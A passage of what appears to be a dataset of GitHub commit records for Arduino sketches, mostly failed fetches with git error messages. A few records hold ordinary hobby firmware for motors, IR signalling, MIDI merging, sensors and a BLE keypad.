added","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/mainhrm\/mainhrm.ino","new_file":"arduino\/mainhrm\/mainhrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"77235a68bba0d0fbfe65d8bf30d053f293fab48c","subject":"add for 1st shortest path; NEED TEST","message":"add for 1st shortest path; NEED TEST\n","repos":"lushl9301\/Yellow-SubArena","old_file":"shortest path -- no algo\/src\/sp1st_noAlgo.ino","new_file":"shortest path -- no algo\/src\/sp1st_noAlgo.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'shortest' did not match any file(s) known to git\nerror: pathspec 'path' did not match any file(s) known to git\nerror: pathspec '--' did not match any file(s) known to git\nerror: pathspec 'no' did not match any file(s) known to git\nerror: pathspec 'algo\/src\/sp1st_noAlgo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"682f769e60c03874d276f310c601b36c424e49d9","subject":"Working demo of sending IR commands to Robosapien","message":"Working demo of sending IR commands to Robosapien\n\nUses output pin 2 on the LED. Flashes the board LED synchronously for\ndebugging\n","repos":"patrickms\/IntelHackathon2014Oct","old_file":"RobosapienIRCommandSketch\/RobosapienIRCommandSketch.ino","new_file":"RobosapienIRCommandSketch\/RobosapienIRCommandSketch.ino","new_contents":"\/*\n Blink\n Turns on an LED on for one second, then off for one second, repeatedly.\n \n This example code is in the public domain.\n *\/\n \n\/\/ Pin 13 has an LED connected on most Arduino boards.\n\/\/ give it a name:\nconst int led = 2; \/\/using external LED\n\nconst int boardLED=13;\n\nconst int waitMS = 25; \/\/1 000 000 \/ 39 200 = 25.5102040816\n\nconst int headerPulse = 6666;\n\nconst int headerSpace = 3333;\n\nconst int onePulse = 833; \/\/833*3 or 3333 \n\nconst int oneSpace = 3333;\n\nconst int zeroPulse = 833;\n\nconst int zeroSpace = 833;\n\nvoid sendPair(int p, int s, int w)\n{\n int targetMicros=micros()+p;\n \n int micros1;\n int micros2=micros();\n while(micros()<targetMicros)\n {\n int micros1=micros2;\n digitalWrite(led, HIGH);\n digitalWrite(boardLED, HIGH);\n int microsTarget=micros1+w;\n \/\/digitalWrite(boardLED, HIGH); \n \/\/delayMicroseconds(1);\n int micros2;\n while((micros2=micros())<microsTarget)\n {}\n int H=micros2-micros1;\n \n micros1=micros2;\n digitalWrite(led, LOW);\n digitalWrite(boardLED, LOW); \n microsTarget=micros1+w;\n while((micros2=micros())<microsTarget)\n {}\n \/*Serial.println(\"High\");\n Serial.println(H);\n Serial.println(w);\n Serial.println(\"Low\");\n Serial.println(micros2-micros1);*\/\n }\n delayMicroseconds(s);\n}\n\nvoid sendHeader()\n{\n sendPair(headerPulse, headerSpace, waitMS);\n};\n\nvoid sendOne()\n{\n sendPair(onePulse, oneSpace, waitMS);\n};\n\n\nvoid sendZero()\n{\n sendPair(zeroPulse, zeroSpace, waitMS);\n};\n\/\/ the setup routine runs once when you press reset:\nvoid setup() { \n \/\/ initialize the digital pin as an output. \n Serial.begin(9600);\n Serial.println(\"boo!\");\n pinMode(boardLED, OUTPUT); \n pinMode(led, OUTPUT); \n \n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() { \/\/ wait for a second\n \/\/digitalWrite(led, HIGH); \n sendHeader();\n \/\/wave is 0x88\n sendOne();\n sendZero();\n sendZero();\n sendZero();\n sendOne();\n sendZero();\n sendZero();\n sendZero();\n delay(2000); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RobosapienIRCommandSketch\/RobosapienIRCommandSketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"07bf7daaf04a6909af552d8b5d281070dd9283af","subject":"Ajout moteur deplacement de la pince","message":"Ajout moteur deplacement de la pince\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Pince\/Deplacement_X_Y\/Moteur_deplacement.ino","new_file":"Pince\/Deplacement_X_Y\/Moteur_deplacement.ino","new_contents":"\/\/ For RAMPS 1.4\n#define X_STEP_PIN 54\n#define X_DIR_PIN 55\n#define X_ENABLE_PIN 38\n#define X_MIN_PIN 3\n#define X_MAX_PIN 2\n\n#define Y_STEP_PIN 60\n#define Y_DIR_PIN 61\n#define Y_ENABLE_PIN 56\n#define Y_MIN_PIN 14\n#define Y_MAX_PIN 15\n\n#define Z_STEP_PIN 46\n#define Z_DIR_PIN 48\n#define Z_ENABLE_PIN 62\n#define Z_MIN_PIN 18\n#define Z_MAX_PIN 19\n\n#define E_STEP_PIN 26\n#define E_DIR_PIN 28\n#define E_ENABLE_PIN 24\n\n#define SDPOWER -1\n#define SDSS 53\n#define LED_PIN 13\n\n#define FAN_PIN 9\n\n#define PS_ON_PIN 12\n#define KILL_PIN -1\n\n#define HEATER_0_PIN 10\n#define HEATER_1_PIN 8\n#define TEMP_0_PIN 13 \/\/ ANALOG NUMBERING\n#define TEMP_1_PIN 14 \/\/ ANALOG NUMBERING\n\n\nint index;\n\nvoid vitesse_moteur(int vitesse) { \n \n digitalWrite(X_STEP_PIN,HIGH); \/\/PWM pour MOTEUR X\n digitalWrite(Y_STEP_PIN,HIGH); \/\/PWM pour MOTEUR Y\n delayMicroseconds(vitesse);\n digitalWrite(X_STEP_PIN,LOW); \/\/Fin PWM pour MOTEUR X\n digitalWrite(Y_STEP_PIN,LOW); \/\/Fin PWM pour MOTEUR Y\n delayMicroseconds(vitesse); \n \n}\n\nvoid vitesse_moteur_rail(int vitesse) {\n \n digitalWrite(Z_STEP_PIN,HIGH); \/\/PWM pour MOTEUR Z\n delayMicroseconds(vitesse);\n digitalWrite(Z_STEP_PIN,LOW); \/\/Fin PWM pour MOTEUR Z\n delayMicroseconds(vitesse); \n \n}\n\nvoid remonter_legere() {\n for(index=0;index<2000;index++) \/\/un tour entier\n { \n \/\/sens trigo\n digitalWrite(X_DIR_PIN,LOW); \/\/Sens trigo MOTEUR X\n digitalWrite(Y_DIR_PIN,LOW); \/\/Sens trigo MOTEUR Y\n digitalWrite(X_ENABLE_PIN,LOW); \/\/Activ\u00e9 MOTEUR X\n digitalWrite(Y_ENABLE_PIN,LOW); \/\/Activ\u00e9 MOTEUR Y\n vitesse_moteur(200);\n }\n}\n\nvoid rail_initialisation(int vitesse){\n \n digitalWrite(Z_DIR_PIN,HIGH); \/\/Sens horaire MOTEUR Z \n digitalWrite(Z_ENABLE_PIN,LOW); \/\/Activ\u00e9 MOTEUR Z\n while(digitalRead(Z_MIN_PIN )!=HIGH) { \/\/Tant que le capteur de fin de course \u00e0 droite n'est pas activ\u00e9\n vitesse_moteur_rail(vitesse); }\n digitalWrite(Z_ENABLE_PIN,HIGH); \/\/D\u00e9sactiv\u00e9 MOTEUR \n delay(1000); \n \n}\n\nvoid monter_descente_initialisation(int vitesse){\n digitalWrite(X_DIR_PIN,HIGH); \/\/Sens horaire MOTEUR X (on descend)\n digitalWrite(Y_DIR_PIN,HIGH); \/\/Sens horaire MOTEUR Y (on descend)\n digitalWrite(X_ENABLE_PIN,LOW); \/\/Activ\u00e9 MOTEUR X\n digitalWrite(Y_ENABLE_PIN,LOW); \/\/Activ\u00e9 MOTEUR Y\n while(digitalRead(X_MIN_PIN )!=HIGH) {\n vitesse_moteur(vitesse); }\n digitalWrite(X_ENABLE_PIN,HIGH); \/\/D\u00e9sactiv\u00e9 MOTEUR X\n digitalWrite(Y_ENABLE_PIN,HIGH); \/\/D\u00e9sactiv\u00e9 MOTEUR Y\n delay(1000);\n remonter_legere(); \n}\n\n\/\/\nvoid initialisation() {\n monter_descente_initialisation(100);\n rail_initialisation(200);\n delay(1000);\n}\n\n\nvoid setup() {\n \n pinMode(LED_PIN, OUTPUT); \/\/V\u00e9rifie que tout a bien \u00e9t\u00e9 t\u00e9l\u00e9vers\u00e9 \n pinMode(X_ENABLE_PIN, OUTPUT); \/\/Enable | Activ\u00e9 si la pin est \u00e0 l'\u00e9tat \"LOW\" desactiv\u00e9 si elle est \u00e0 l'\u00e9tat \"HIGH\" MOTEUR X\n pinMode(X_STEP_PIN, OUTPUT); \/\/Step PWM MOTEUR X\n pinMode(X_DIR_PIN, OUTPUT); \/\/Direction LOW=SENS TRIGO \/ HIGH=SENS HORAIRE MOTEUR X \n pinMode(X_MIN_PIN , INPUT);\n pinMode(Y_ENABLE_PIN, OUTPUT); \/\/Enable | Activ\u00e9 si la pin est \u00e0 l'\u00e9tat \"LOW\" desactiv\u00e9 si elle est \u00e0 l'\u00e9tat \"HIGH\" MOTEUR Y\n pinMode(Y_STEP_PIN, OUTPUT); \/\/Step PWM MOTEUR Y\n pinMode(Y_DIR_PIN, OUTPUT); \/\/Direction LOW=SENS TRIGO \/ HIGH=SENS HORAIRE MOTEUR Y\n pinMode(Z_ENABLE_PIN, OUTPUT); \/\/Enable | Activ\u00e9 si la pin est \u00e0 l'\u00e9tat \"LOW\" desactiv\u00e9 si elle est \u00e0 l'\u00e9tat \"HIGH\" MOTEUR X\n pinMode(Z_STEP_PIN, OUTPUT); \/\/Step PWM MOTEUR X\n pinMode(Z_DIR_PIN, OUTPUT); \/\/Direction LOW=SENS TRIGO \/ HIGH=SENS HORAIRE MOTEUR X \n pinMode(Z_MIN_PIN , INPUT);\n \n initialisation();\n}\n\n\n\nvoid loop() {\n \n \n}\n\n\n\n \n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Pince\/Deplacement_X_Y\/Moteur_deplacement.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3cc2bf2895b8224361a8345f8ac11fa03bc9d1b1","subject":"Prototype avec correction des capteurs fin de course","message":"Prototype avec correction des capteurs fin de course\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Pince\/Moteur_deplacement\/Moteur_deplacement.ino","new_file":"Module Pince\/Moteur_deplacement\/Moteur_deplacement.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Pince\/Moteur_deplacement\/Moteur_deplacement.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7aa9d46b2f6d7ca580e201d1f8e8dc1a18615a22","subject":"Arduino test sketch","message":"Arduino test sketch\n","repos":"kbdavid15\/SevenSeg","old_file":"SevenSegTest\/SevenSegTest.ino","new_file":"SevenSegTest\/SevenSegTest.ino","new_contents":"#include <SevenSeg.h>\n\nint SER_Pin = 8; \/\/ pin 14 on the 75HC595\nint RCLK_Pin = 9; \/\/ pin 12 on the 75HC595\nint SRCLK_Pin = 10; \/\/ pin 11 on the 75HC595\nint DIG1 = 2;\nint DIG2 = 7;\n\nint numRegisters = 1;\nSevenSeg seg(1, SER_Pin, RCLK_Pin, SRCLK_Pin, DIG1, DIG2);\n\nboolean toggle0 = 0;\nboolean toggle1 = 0;\nvoid setup()\n{\n Serial.begin(9600);\n pinMode(DIG1, OUTPUT);\n pinMode(DIG2, OUTPUT); \n Serial.println(\"Class created successfully\"); \n \n\/\/set timer0 interrupt at 2kHz\n TCCR0A = 0;\/\/ set entire TCCR2A register to 0\n TCCR0B = 0;\/\/ same for TCCR2B\n TCNT0 = 0;\/\/initialize counter value to 0\n \/\/ set compare match register for 2khz increments\n OCR0A = 124;\/\/ = (16*10^6) \/ (2000*64) - 1 (must be <256)\n \/\/ turn on CTC mode\n TCCR0A |= (1 << WGM01);\n \/\/ Set CS01 and CS00 bits for 64 prescaler\n TCCR0B |= (1 << CS01) | (1 << CS00); \n \/\/ enable timer compare interrupt\n TIMSK0 |= (1 << OCIE0A);\n \n}\n\nISR(TIMER0_COMPA_vect){\/\/timer1 interrupt 1Hz toggles pin 13 (LED)\n\/\/generates pulse wave of frequency 1Hz\/2 = 0.5kHz (takes two cycles for full wave- toggle high then toggle low)\n if (toggle1){\n digitalWrite(DIG2, LOW);\n seg.setNumber(1);\n digitalWrite(DIG1, HIGH);\n toggle1 = 0;\n }\n else{\n digitalWrite(DIG1, LOW);\n seg.setNumber(5);\n digitalWrite(DIG2, HIGH);\n toggle1 = 1;\n }\n}\n\nvoid loop()\n{\n\/\/ digitalWrite(DIG1, HIGH);\n\/\/ for(int i = 0; i < 10; i++){\n\/\/ seg.setNumber(i);\n\/\/ delay(500);\n\/\/ }\n \n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SevenSegTest\/SevenSegTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d2c54c2d182e257272434589727c1a864df3b440","subject":"Added example for multiple instanciation.","message":"Added example for multiple instanciation.\n","repos":"FortySevenEffects\/arduino_midi_library,FortySevenEffects\/arduino_midi_library,FortySevenEffects\/arduino_midi_library,FortySevenEffects\/arduino_midi_library","old_file":"res\/Examples\/MIDI_DualMerger\/MIDI_DualMerger.ino","new_file":"res\/Examples\/MIDI_DualMerger\/MIDI_DualMerger.ino","new_contents":"#include <SoftwareSerial.h>\n#include <MIDI.h>\n\n\/\/ This example shows how to create two instances of the library to create a merger.\n\/\/ There are two MIDI couples of IO, A and B, each using thru and merging with the\n\/\/ input from the other node. The result is the following:\n\/\/ A out = A in + B in\n\/\/ B out = B in + A in\n\nSoftwareSerial softSerial(2,3);\n\nMIDI_CREATE_INSTANCE(HardwareSerial, Serial, midiA); \nMIDI_CREATE_INSTANCE(SoftwareSerial, softSerial, midiB);\n\nvoid setup()\n{\n \/\/ Initiate MIDI communications, listen to all channels\n midiA.begin(MIDI_CHANNEL_OMNI);\n midiB.begin(MIDI_CHANNEL_OMNI);\n}\n\nvoid loop()\n{\n if (midiA.read())\n {\n \/\/ Thru on A has already pushed the input message to out A.\n \/\/ Forward the message to out B as well.\n midiB.send(midiA.getType(),\n midiA.getData1(),\n midiA.getData2(),\n midiA.getChannel());\n }\n \n if (midiB.read())\n {\n \/\/ Thru on B has already pushed the input message to out B.\n \/\/ Forward the message to out A as well.\n midiA.send(midiB.getType(),\n midiB.getData1(),\n midiB.getData2(),\n midiB.getChannel());\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'res\/Examples\/MIDI_DualMerger\/MIDI_DualMerger.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5fa8c28043a400cebcb85505fd1f1c958b32192d","subject":"Delete Control.ino","message":"Delete Control.ino","repos":"nitricx\/Tank_Automation","old_file":"Control.ino","new_file":"Control.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nitricx\/Tank_Automation.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3c87953332ecce505e24d50591ee9cd82827c74e","subject":"added marsduino directory for all arduino code","message":"added marsduino directory for all arduino code\n","repos":"JoeBartelmo\/goddard,JoeBartelmo\/PyDetect,JoeBartelmo\/goddard,JoeBartelmo\/PyDetect,JoeBartelmo\/PyDetect,JoeBartelmo\/goddard,JoeBartelmo\/PyDetect,JoeBartelmo\/PyDetect,JoeBartelmo\/goddard,JoeBartelmo\/goddard","old_file":"marsduino\/optimaduino2.ino","new_file":"marsduino\/optimaduino2.ino","new_contents":"\/*\n |||| CONFIG ||||\n *\/\n\/\/double clockCorrection = 64.0; (depreciated)\n \n\/\/Motor\nint enablePin = 13; \/\/enable\/disable motor\nint revPin = 11; \/\/seting fwd\/rev\nint brakePin = 12; \/\/brake pin\nint speedPin = 5; \/\/speedPin \nint voltagePin = A0; \/\/ammeter voltage pin\nint currentPin = A1; \/\/ammeter current pin\nint encoderPin = A5; \/\/pin for motor controller\nint speedDutyCycle; \/\/ duty cycle for speed PWM\nchar enable; \/\/enable character in motor control code\nchar reverse; \/\/direction character in motor control \nchar brake; \/\/brake character in motor control \nchar speedValue; \/\/speed character in motor control \nString input; \/\/user input string\nchar codeArray[8]; \/\/input string turned into an array\nfloat encoderVoltage; \/\/voltage coming off the encoder\nfloat scaledVoltage; \/\/scaled enoder voltage\nfloat realRpm; \/\/computed rpm coming off the encoder\n\n\/\/LEDS\nint ledPin = 10;\nint ledDutyCycle;\nchar ledValue;\n\n\n\/\/IRdistance sensors\nint frontIrPin = A3;\nint backIrPin = A4;\nString distance;\nString outputFrontDistance = \"out of range\";\nString outputBackDistance = \"out of range\";\nint numSamples = 10;\n\n\/\/Ammeter\ndouble inputV;\ndouble inputI;\ndouble systemVoltage; \ndouble systemCurrent;\nString daqString;\n\n\n\n\n\nvoid setup() {\n \/\/modifies registries to increase PWM frequency\n TCCR0B = (TCCR0B & 0b11111000) | 0x01;\n\n \/\/enabling pins & setting status to LOW\n \n \/\/Motor Control\n pinMode(enablePin,OUTPUT); \n pinMode(revPin,OUTPUT); \n pinMode(brakePin,OUTPUT);\n pinMode(speedPin,OUTPUT);\n digitalWrite(enablePin,LOW);\n digitalWrite(revPin,LOW);\n digitalWrite(brakePin,LOW);\n analogWrite(speedPin,LOW);\n \n \/\/LEDS\n pinMode(ledPin, OUTPUT);\n digitalWrite(ledPin, LOW);\n\n \n \/\/enabling the serial connection\n Serial.begin(9600);\n\n}\n\nint charToInt(char c)\n{\n int o;\n\n if (c == '0')\n { o = 0; }\n else if (c == '1')\n { o = 1; }\n else if (c == '2')\n { o = 2; }\n else if (c == '3')\n { o = 3; }\n else if (c == '4')\n { o = 4;}\n else if (c == '5')\n { o = 5; }\n else if (c == '6')\n { o = 6; }\n else if (c == '7')\n { o = 7;}\n else if (c == '8')\n { o = 8;}\n else if (c == '9')\n { o = 9; }\n\n return o;\n}\n\nString ir_distance(int irPin)\n{\n int sampleSum = 0;\n \n for (int i=0; i<numSamples; i++)\n {\n int distanceVoltage = analogRead(irPin);\n sampleSum = sampleSum + distanceVoltage;\n delay(60*64);\n }\n \n float avgVoltage = (float)sampleSum\/(float)numSamples\/205.0; \/\/ average divided by numSamples to average, then divided by 205 to convert to voltage\n if(avgVoltage > 2.5)\n { \n distance = \"0\";\n }\n \n else if(avgVoltage < 1.4)\n {\n distance = \"out of range\";\n }\n else\n {\n distance = (String)(1011.6*.01*pow(avgVoltage,-2.621));\n } \n return distance;\n}\n\n\nvoid control_input(String input)\n{\n input = Serial.readString();\n input.toCharArray(codeArray,6);\n\n \/\/Parsing the String into components\n char first = codeArray[0];\n\n \/*======================= Command interpretation =====================*\/\n \n \/*_____________BEGIN MOTOR CONDITIONAL___________ *\/\n switch(first){\n case 'M':{\n enable = codeArray[1];\n reverse = codeArray[2];\n brake = codeArray[3];\n speedValue = codeArray[4];\n\n \/* ========== CONTROLLING THE PINS ==========*\/ \n \/\/ENABLE PIN(13)\n if(enable == '0'){ \/\/enable pin\n digitalWrite(enablePin,LOW);\n }\n else if(enable == '1'){\n digitalWrite(enablePin,HIGH);\n }\n else if(enable != '1' & enable != '0'){ \/\/if the values are anything but a 0 or 1, then print error message\n\/\/ Serial.println(\"ERROR: ENABLE MUST '0' or '1'\");\n }\n \n \/\/REVERSE PIN(7)\n if(reverse == '0'){ \/\/rev pin\n digitalWrite(revPin,LOW);\n }\n else if(reverse == '1'){\n digitalWrite(revPin,HIGH);\n }\n else if(reverse != '1' & reverse!= '0'){ \/\/if the values are anything but a 0 or 1, then print error message\n\/\/ Serial.println(\"ERROR: ENABLE MUST '0' or '1'\");\n }\n \n \/\/BRAKE PIN(12)\n if(brake == '0'){ \/\/brake pin\n digitalWrite(brakePin,HIGH); \/\/NOTE BRAKE IS AN ACTIVE HIGH\n }\n else if(brake == '1'){\n digitalWrite(brakePin,LOW); \/\/BRAKE IS ACTIVE HIGH\n }\n else if(brake != '1' && brake != '0'){ \/\/if the values are anything but a 0 or 1, then print error message\n\/\/ Serial.println(\"ERROR: BRAKE MUST '0' or '1'\");\n }\n \n \/\/SPEED PIN(5)\n speedDutyCycle = charToInt(speedValue) * 25.5; \/\/converts input ao a 0-255 scale\n analogWrite(speedPin, speedDutyCycle); \/\/sets up PWM on the speedPin\n \n break;\n }\n \/*_________END MOTOR CONDITIONAL______ *\/\n\n\/*_______________BEGIN LED CONDITIONAL______________*\/\n \n case 'L':{\n ledValue = codeArray[1];\n ledDutyCycle = charToInt(ledValue) * 25.5;\n analogWrite(ledPin, ledDutyCycle); \/\/sets up PWM on the speedPin\n break;\n }\n\n\/*____________END LED CONDITIONAL____________*\/\n }\n}\n \n\nvoid daq()\n{ \n \/\/ READING FROM CURRENT AND VOLTAGE PINS ON AMMETER\n inputV = analogRead(voltagePin);\n inputI = analogRead(currentPin);\n systemVoltage = (float)inputV\/12.99; \/\/conversion necessary for 90 Amp ammeter\n systemCurrent = (float)inputI\/7.4; \/\/conversion necessary for 90 Amp ammeter\n \n \/\/READING RPM VALUES\n encoderVoltage = analogRead(encoderPin)*.0049; \/\/ multiplier to return a value in Volts\n scaledVoltage = encoderVoltage - 2.5; \/\/ subtracting 2.5 to rezero scale 1to4V --> -1.5to1.5\n realRpm = (scaledVoltage * 1333.33)-84.0; \/\/ 1V from motor controller corresponds to -2000 RPM, 4V-->2000RPM\n \/\/^^^^^^^^Added offset - seems to make data a little more accurate\n \n\n}\n\n\nvoid save_and_send()\n{\n daqString = String(realRpm) +\",\"+ String(systemVoltage) +\",\"+ String(systemCurrent) + \",\" + String(outputFrontDistance)+\",\"+String(outputBackDistance);\n Serial.println(daqString);\n}\n\n\nvoid increase_accuracy()\n{\n\/\/correcting noise in RPM\n if(abs(realRpm) < 75.0)\n {\n realRpm = 0.0; \/\/arduino believes there is a small amount of motion even when stationary\n \/\/this corrects the arduinos native offset, without affecting real data collection\n } \n \n}\n\nvoid loop() {\n if(Serial.available() > 0)\n {\n control_input(input); \n }\n outputFrontDistance = ir_distance(frontIrPin);\n outputBackDistance = ir_distance(backIrPin);\n daq();\n increase_accuracy();\n save_and_send(); \n delay(32000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'marsduino\/optimaduino2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"620fa5d3c6c39b15be92b347dfbe3acf6c781f22","subject":"Update hrm._memoryeff.ino","message":"Update hrm._memoryeff.ino","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/ref\/hrm_memoryeff\/hrm._memoryeff.ino","new_file":"arduino\/ref\/hrm_memoryeff\/hrm._memoryeff.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e4e9397fb68b5f119c61444b8da51c7d9e100ab5","subject":"Clarified I2C\/SPI selection","message":"Clarified I2C\/SPI selection\n","repos":"kennethlimcp\/Adafruit_L3GD20","old_file":"examples\/Adafruit_L3GD20_test\/Adafruit_L3GD20_test.ino","new_file":"examples\/Adafruit_L3GD20_test\/Adafruit_L3GD20_test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kennethlimcp\/Adafruit_L3GD20.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"304437f6027a4bfd59881e4964a2fdcd69049b65","subject":"Auto stash before merge of \"master\" and \"origin\/master\"","message":"Auto stash before merge of \"master\" and \"origin\/master\"","repos":"DaveCalaway\/ESP8266,DaveCalaway\/ESP8266","old_file":"Arduino\/ESP8266\/Projects\/Telegram BOT\/Matrix BOT\/Matrix_bot\/Matrix_bot.ino","new_file":"Arduino\/ESP8266\/Projects\/Telegram BOT\/Matrix BOT\/Matrix_bot\/Matrix_bot.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DaveCalaway\/ESP8266.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7b619b01f95befca018853c4014c94c2a15b2c2e","subject":"Fix Mode inline descriptions","message":"Fix Mode inline descriptions\n","repos":"sbonami\/bot-sketch,sbonami\/bot-sketch","old_file":"stabilbot\/stabilbot.ino","new_file":"stabilbot\/stabilbot.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/sbonami\/bot-sketch.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c794de65b9ef276bf142c38fc7cddcc160cd4fa0","subject":"Remove debug commits","message":"Remove debug commits\n","repos":"sbonami\/bot-sketch,sbonami\/bot-sketch","old_file":"stabilbot\/stabilbot.ino","new_file":"stabilbot\/stabilbot.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/sbonami\/bot-sketch.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cf46b1b129297df06da27b69056014cf36978a9c","subject":"prueba letras","message":"prueba letras\n","repos":"eariassoto\/RFModuloArduino","old_file":"transmisor\/transmisor.ino","new_file":"transmisor\/transmisor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/eariassoto\/RFModuloArduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"194cce858cb919907418f176d004df2cec324552","subject":"added the mecanum angle drive method in the arduino code folder","message":"added the mecanum angle drive method in the arduino code folder\n","repos":"sherrardTr4129\/SortME","old_file":"arduino code\/AngleDrive\/AngleDrive.ino","new_file":"arduino code\/AngleDrive\/AngleDrive.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino' did not match any file(s) known to git\nerror: pathspec 'code\/AngleDrive\/AngleDrive.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d28ba06404f48fa16fb9ef7ff2bb444c432e7790","subject":"- new keypad example","message":"- new keypad example\n","repos":"sandeepmistry\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,possan\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,possan\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral","old_file":"examples\/HID\/HID_keypad\/HID_keypad.ino","new_file":"examples\/HID\/HID_keypad\/HID_keypad.ino","new_contents":"\/\/ Import libraries (BLEPeripheral depends on SPI)\n#include <SPI.h>\n#include <BLEHIDPeripheral.h>\n#include <BLEKeyboard.h>\n\n\/\/ From: http:\/\/playground.arduino.cc\/Code\/Keypad\n#include <Keypad.h>\n\nconst byte ROWS = 4; \/\/four rows\nconst byte COLS = 3; \/\/three columns\nchar keys[ROWS][COLS] = {\n {'1','2','3'},\n {'4','5','6'},\n {'7','8','9'},\n {'*','0','#'}\n};\nbyte rowPins[ROWS] = { A0, A1, A2, A3 }; \/\/connect to the row pinouts of the keypad\nbyte colPins[COLS] = { 7, 6, 5 }; \/\/connect to the column pinouts of the keypad\n\nKeypad keypad = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS );\n\n\/\/ define pins (varies per shield\/board)\n#define BLE_REQ 9\n#define BLE_RDY 8\n#define BLE_RST 4\n\n\/\/ create peripheral instance, see pinouts above\nBLEHIDPeripheral bleHIDPeripheral = BLEHIDPeripheral(BLE_REQ, BLE_RDY, BLE_RST);\nBLEKeyboard bleKeyboard;\n\nvoid setup() {\n Serial.begin(9600);\n#if defined (__AVR_ATmega32U4__)\n while(!Serial);\n#endif\n char c = keypad.getKey();\n\n if (c == '#') {\n Serial.println(F(\"BLE HID Peripheral - clearing bond data\"));\n \n \/\/ clear bond store data\n bleHIDPeripheral.clearBondStoreData();\n }\n \n bleHIDPeripheral.setLocalName(\"HID Keypad\");\n bleHIDPeripheral.addHID(bleKeyboard);\n\n bleHIDPeripheral.begin();\n\n Serial.println(F(\"BLE HID Keypad\"));\n}\n\nvoid loop() {\n BLECentral central = bleHIDPeripheral.central();\n\n if (central) {\n \/\/ central connected to peripheral\n Serial.print(F(\"Connected to central: \"));\n Serial.println(central.address());\n\n while (central.connected()) {\n char c = keypad.getKey();\n \n if (c) {\n Serial.println(c);\n bleKeyboard.print(c);\n 